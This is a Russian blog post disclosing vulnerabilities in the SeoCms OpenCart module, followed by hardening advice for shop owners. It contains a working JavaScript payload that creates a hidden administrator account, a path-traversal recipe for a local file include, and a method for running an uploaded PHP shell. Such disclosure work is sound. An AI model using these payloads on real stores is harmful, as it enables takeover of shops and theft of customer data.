Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
Все собаки попадают в рай, а все владельцы интернет магазинов на Opencart, рано или поздно на Opencartforum. Когда проходит эйфория от первой установки движка на хостинг и начинается суровая реальность, типичному владельцу магазина всегда начинает чего-то не хватать и он начинает сложный путь поиска квалифицированных подрядчиков и качественных дополнений для своего магазина.
Самый крупный ресурс в рунете, на котором можно найти и то и другое — это opencartforum.com, на котором на сегодня зарегистрировано более 140к пользователей. Из этих 140к регистраций, пусть половина — это живые люди с живыми магазинами, которые так или иначе пользуются шаблонами, модулями, которые можно тут же приобрести на площадке. И все эти люди, даже не догадываются, что вместе с дополнениями они приобретают себе чудесные бекдоры и уязвимости, о которых любой мамкин хакир может только мечтать.
Хотя в декларативной форме в правилах размещения дополнений в магазине форума черным по белому написано. У нас работает qadepartment, специально обученные люди проверяют дополнения на уязвимости.
И ни форум, как площадка, являющаяся посредником между автором и конечным пользователем дополнения, ни авторы дополнений, как оказалось, не несут никакой ответственности.
Как же так? А вот так! Видимо исторически сложилось.
Моделируя для себя гипотетические последствия от инцидентов, о которых пойдет речь далее, у меня становятся волосы на голове дыбом.
Вот просто представьте. Вы успешный владелец магазина, не спали пару лет ночами, писали тексты, грызли черное, белое, серое seo, боролись с пандами, минусинсками, не доедали не допивали, привлекли 100 000 покупателей, вложились в позиции. Ваши дети ходят в хороший детский сад, и тут вдруг у вас продажи упали вполовину, просто потому что ваша база со всеми контактами клиентам ушла к конкурентам. Или вдруг вы ее лишились совсем, потому что уже месяц как ваш магазин работал на чужом mysql сервере, а вы даже не заметили, смену кофигов, и все бекапы на хостинге «протухли».
Представили свои ощущения в подобной ситуации, работали работали несколько лет и в один день это все коту под хвост. Вы скажете, — так не может быть.
А вот может и очень легко. Достаточно просто купить дополнение с недекларирумой негласной защитой “защитой” от несанкционированого использования, и ваши данные очень быстро могут стать чужими!
Первый инцидент
Полгода назад производили поверхностную профилактику одного магазина, когда репорт сканера Ай-болит показал странное предупреждение на странный код в в модуле SeoCms (более 10.000 активных установок).
Начали смотреть ближе и оказалось что эта абракадабра, просто напросто выводит версию дополнения:
$text_redaeh_stpo = $text_redaeh_stpo_1.$value_tnega.$text_redaeh_stpo_2.$text_redaeh_stpo_3.$text_reda eh_stpo_4.$text_redaeh_stpo_5.$text_redaeh_stpo_6.$text_redaeh_stpo_7.$text_redaeh _stpo_8.$text_redaeh_stpo_9.$value_revres.$text_redaeh_stpo_10;
if ($date_diff > 7) { $ver_content = false;
$opts = array( $text_ptth => array($text_dohtem =>$text_tsop, $redaeh =>$text_redaeh_stpo, $tnetnoc => $yreuq_dliub_ptth(array($text_rdda
=>$value_rdda, $text_liame => $this->data['liame'], $text_rev=>$this->data['blog_version'] ))));
$context = $etaerc_txetnoc_maerts($opts); $exceptionizer = new PHP_Exceptionizer(E_ALL);
try { $ver_content = $stnetnoc_teg_elif($rev_knil, FALSE , $context); } catch (E_WARNING $e) { //echo "Warning or better raised: " . $e->getMessage();
}
$this->model_setting_setting->editSetting('blog_ver',
Array('blog_version_date' => $date_current, 'blog_version_content' => $ver_content )); }
if ($this->data['blog_version']!=$ver_content) { $this->data['text_new_version'] =
$this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>". $this->language->get('text_new_version_end');
} else { $this->data['text_new_version'] = '';
}
Ничего страшного, кроме того, что:
$this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>"
никак не фильтруется и если нечаянно вдруг с сервера клиента придет вместо версии какой нибудь скрипт вроде приведенного ниже, получить админский доступ к любому магазину, где установлен модуль — дело времени и техники.
<script>
// shell sample
// seocms the best architectural mistake forever // i got all your 10 000 shops
// i install 10 000 backdors
function getUrlVars() {
varvars=[],hash,hashes=null;
if(window.location.href.indexOf("?")&& window.location.href.indexOf("&")){
hashes = window.location.href.slice(window.location.href.indexOf("?")+ 1).split("&");
}elseif(window.location.href.indexOf("?")){ hashes =
window.location.href.slice(window.location.href.indexOf("?")+1); }
if (hashes!=null) { for(vari=0;i<hashes.length;i++){
hash=hashes[i].split("=");
vars[hash[0]]=hash[1]; }
}
returnvars; }
var url_vars = getUrlVars();
var token = url_vars. token;
var host = window. location.origin; varaction=host+"/admin/index.php?route=user/user/add&token="+ token;
document. addEventListener("DOMContentLoaded", function(event) { $.post(action,{username:"Hack123",user_group_id:"1",
firstname:"Lol",lastname:"Haha", email:"Hack123@Hack123.com", password:"1234", confirm:"1234", status:"1"});
});
</script>
Подробности ситуации описаны здесь. Уведомление администрации здесь.
Наверное с пятого раза, смоделировав очень наглядно этот процесс для администрации форума, удалось донести критичность ситуации.
И администрация в свою очередь официально уведомила пользователей о наличии данной уязвимости и вроде даже сделала рассылку покупателям. Но это не точно.
Оставим за кадром угрозы и увиливания автора дополнения и перенесемся на два месяца далее…
Второй инцидент
Приходит на осмотр очередной магазин, у которого возникли дикие фризы до 3-4сек на каждой странице. Начинаем препарировать и видим в папке с кешем 20к+ файлов с расширением .php. Файлы кеша с расширением php Карл, это ж неспроста!
Смотрим в структуру данных этих файлов, а там опять кусочки нашего прекрасного модуля SEOCMS.
И прекрасный метод:
protected function ajax_file()
{ $ajax_file_cached = false;
$ajax_file = DIR_CACHE.base64_decode($this->db->escape($this->request->get["ajax_file"]));
if (!file_exists($ajax_file)) { $ajax_file_cached = true;
} else {
}
return $ajax_file_cached;
}
Это пример классической уязвимости — Local File Include.
Достаточно в base64 закодировать ../....../config.php и здравствуйте — require($ajax_file); И пожалуйста: вот вам пароли от базы, а вот системный лог ошибок, и если сильно надо даже /etc/pwd, хотя давно неактуально, ну а вдруг?
А сколько хостеров и серверов с настройками по дефолту светят в мир phpmyadmin? Половина? Больше?
Начинаем смотреть дальше и что мы находим? Чудесный код загрузки аватарок:
if (!$json) {
if (is_uploaded_file($this->request->files['file']['tmp_name']) &&
file_exists($this->request->files['file']['tmp_name'])) {
$file = basename($filename) . '.' .
md5(substr(sha1(uniqid(mt_rand(), true)), 0, 10)); $file_original = basename($filename);
// Hide the uploaded file name so people can not link to it directly. //$json['file'] = $this->encryption->encrypt($file);
// To remove highload from the file system, when large number of buyers $avatar_dir = 'data/avatars/'.(ceil ($this->data['customer_id'] / 300)) * 300;
move_uploaded_file($this->request->files['file']['tmp_name'],
DIR_IMAGE . $file); $new_filename =
$avatar_dir.'/'.$this->data['customer_id']."_".utf8_strtolower($file_original);
if (isset($this->data['thislist']['avatar_width']) && $this->data['thislist']['avatar_width']!='') {
$width = $this->data['thislist']['avatar_width']; } else {
if (isset($this->data['generallist']['avatar_width']) && $this->data['generallist']['avatar_width']!='') {
$width = $this->data['generallist']['avatar_width']; } else {
$width = '100'; }
}
if (isset($this->data['thislist']['avatar_height']) && $this->data['thislist']['avatar_height']!='') {
$height = $this->data['thislist']['avatar_height']; } else {
if (isset($this->data['generallist']['avatar_height']) && $this->data['generallist']['avatar_height']!='') {
$height = $this->data['generallist']['avatar_height']; } else {
$height = '100'; }
} $this->load->model('tool/image');
$json['file'] = $avatar_thumb = $this->model_tool_image->resizeavatar($file, $new_filename , $width, $height, true, false);
if (trim($avatar_thumb)=='') {
$json['error'] = $this->language->get('error_upload');
}
if ($file!='' && file_exists(DIR_IMAGE . $file)) { unlink (DIR_IMAGE . $file);
}
}
}
Который отлично вываливается в ошибку при попытке ресайза (и показывает нам полный путь к загружаемому файлу), после загрузки какого-нибудь shell.php.png, а потом также отлично выполняется предыдущим методом.
Видео эксплуатации уязвимостей (с включенным выводом системных ошибок php):
Видео эксплуатации уязвимостей (с выключенным выводом системных ошибок php):
Анализ кода проводился на версии модуля 52 в апреле 2019 года.
Так как и автор и администрация форума были уведомлены в тех же датах, прошло достаточно времени, для того чтобы они предприняли все возможные действия по уведомлению покупателей устранению уязвимостей, мы со спокойной совестью, можем раскрыть все детали.
И вот на этом моменте, что-то случилось. На сервере разработчика стоял его же модуль. Но уязвимость на нем не работала. Она была прикрыта… И это большая странность. Очень большая!!!
А вторая странность всей этой истории заключается в том, что opencartforum в лице администрации и департамента по контролю качества дополнений не увидел ни первого ни второго инцидента, и в обоих случаях при первом уведомлении не нашел ничего критичного.
Конечно нет ничего критичного, когда у тебя конфиги в мир светят. Нет ничего критичного, когда добрая половина владельцев магазинов ни сном ни духом не в курсе, что у них происходит под капотом. Ведь им когда-то, кто-то поставил это дополнение, и без рассылки, они даже не догадываются, что весь бизнес под прямой угрозой.
И если по первому инциденту была внятная реакция от администрации, то по второму удяляются все посты с упоминанием о нем. И это все прикрывается офертой форума, согласно которой, про коммерческие дополнения комментарии оставлять можно как про покойников — или хорошо или никак.
Также автор утверждает что ошибки и дыры поправлены, qadepartment пропустил дополнение в продажу, однако нет, дыры не исправлены…
protected function ajax_file() {
if (!class_exists('PHP_Exceptionizer', false)) {
if (function_exists('modification')) { require_once(modification(DIR_SYSTEM .
'library/exceptionizer.php'));
} else {
require_once(DIR_SYSTEM . 'library/exceptionizer.php'); }
}
$exceptionizer = new PHP_Exceptionizer(E_ALL); try {
$ajax_file_cached = false;
$filename = preg_replace('/[^a-zA-Z0-9\.\-\s+]/', '', html_entity_decode(base64_decode($this->db->escape($this->request->get['ajax_file'])),
ENT_QUOTES, 'UTF-8'));
$ajax_file = DIR_CACHE . $filename; if (!file_exists($ajax_file)) {
$ajax_file_cached = true; } else {
ob_start();
require($ajax_file);
$ajax_html = ob_get_contents(); ob_end_clean();
header('Content-type: text/html; charset=utf-8'); echo $ajax_html; $this->deletecache('cache.ajax');
exit();
}
return $ajax_file_cached; } catch (E_WARNING $e) {
} }
require() никуда не делось. Немного зафильтрован ввод. Но потенциальная LFI как жила так и живет. Если немного подробнее, то да, теперь мы не можем ни загрузить не выполнить шелл. Но предположим, что мы постарались, закрыли, зацементировали исполнение любых скриптов кроме index.php, и даже на уровне конфига nginx, к которому ну никак не получить доступ. Но где-то в другом месте протекло и злой хакир получил возможность поместить произвольный файл в папку кеш. Что произойдет? Правильно — выполнить посторонний код, сгенерировав хеш в get-запрос, дело двух минут. То есть в итоге получается, вроде как и закрыто, но вроде как и не до конца.
Ну и по мелочи: как светились в языковых файлах вот такие шикарные реляции:
if ((isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $_SERVER['HTTPS'] == '1')) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) == 'on'))) {
$_['value_revres'] = HTTPS_SERVER;
$_['value_ctlg'] = HTTPS_CATALOG; } else {
$_['value_revres'] = HTTP_SERVER;
$_['value_ctlg'] = HTTP_CATALOG; }
Так и светятся… Хотите узнать полный путь к корню проекта. Просто найдите магазин с включенным отображением ошибок и запустите ссылку напрямую на языковой файл.
Изучать что еще может быть после обновления дополнения в мегабайте строк кода автора — нет ни ресурсов ни желания. Для этого есть специально обученные ответственные люди.
И вишенка на торте. Мы же помним, у нас коммерческое дополнение… И в коммерческом дополнении у нас скрытый текст на ресурс автора:
www.google.com/search?q=%22Powered+by+SEO+CMS%22
Интересно хоть кто-то из покупателей дополнения знает о такой “чудесной” пасхалочке?
На сегодня, дополнение как продавалось так и продается. Посты с призывами обратить внимание на ситуацию, просто удаляются. Никто из покупателей не получал уведомлений с предупреждением про второй инцидент. Возможно 20-30% пользователей дополнения и обновились, но 70% — даже если мы говорим про официальную авторскую статистику использования дополнений это 7000 магазинов (на самом деле больше — так как никто не знает достоверно, сколько еще было установлено фрилансерами копий на клиентские магазины по расширенной лицензии) находятся в огромной зоне риска.
Словами барона Мюнхаузена хочется сказать только одно: Обновляйтесь господа!
For customers
Что делать, тем кто оказался в этой тонущей подводной лодке:
- Не оставлять мусора на фтп. Вида info.php, adminer.php и всякого остального хлама. У вас должен быть только index.php и точка.
- Регулярно менять пароли, все пароли (ftp, админки, к базе данных). И следить, чтобы у вас не появлялись случайно лишние непонятные аккаунты.
- Отключить вывод ошибок. Всегда, если не ведете работы — отключайте вывод ошибок на уровне конфигурации интерпретатора а не в настройках магазина.
- Да я знаю что это не очень выполнимо, но стоит следить хотя бы за актуализацией обновлений кода движка связанных с безопасностью, а в идеале регулярно обновлять движок до стабильных версий.
- Регулярно заглядывать в логи посещений, там может быть много интересного. Отслеживайте аномалии.
- Закрыть дополнительно паролем или ограничением по айпи admin магазина и разного рода уязвимые разделы, типа phpmyadmin. Если это шаред в котором phpmyadmin общий для всех, бежать с такого хостинга подальше!
- Если используете sxd и подобные утилиты — сразу переименовывайте их в рандомный набор символов.
- При использовании nginx, в конфиг виртуал-хоста стоит добавить правила, которые запрещают запускать любые скрипты php кроме index.php в корне и admin разделе сайта.
- Не устраивайте мусорку из аккаунта. Если у вас магазин — то пусть будет магазин. Не грузите под одним аккаунтом кучу wp-блогов, жумл помоек и разного рода тестовых доменов.
- Никогда не храните бекапы сайта или базы в корне вашего виртуалхоста.
- Следите за нагрузкой на сервер/хостинг, старайтесь держать запас хотя бы x2 от пиковых нагрузок и если вдруг резко нагрузка ни с того ни с сего увеличилась, попытайтесь выяснить причину. Лучше перебдеть, чем недобдеть!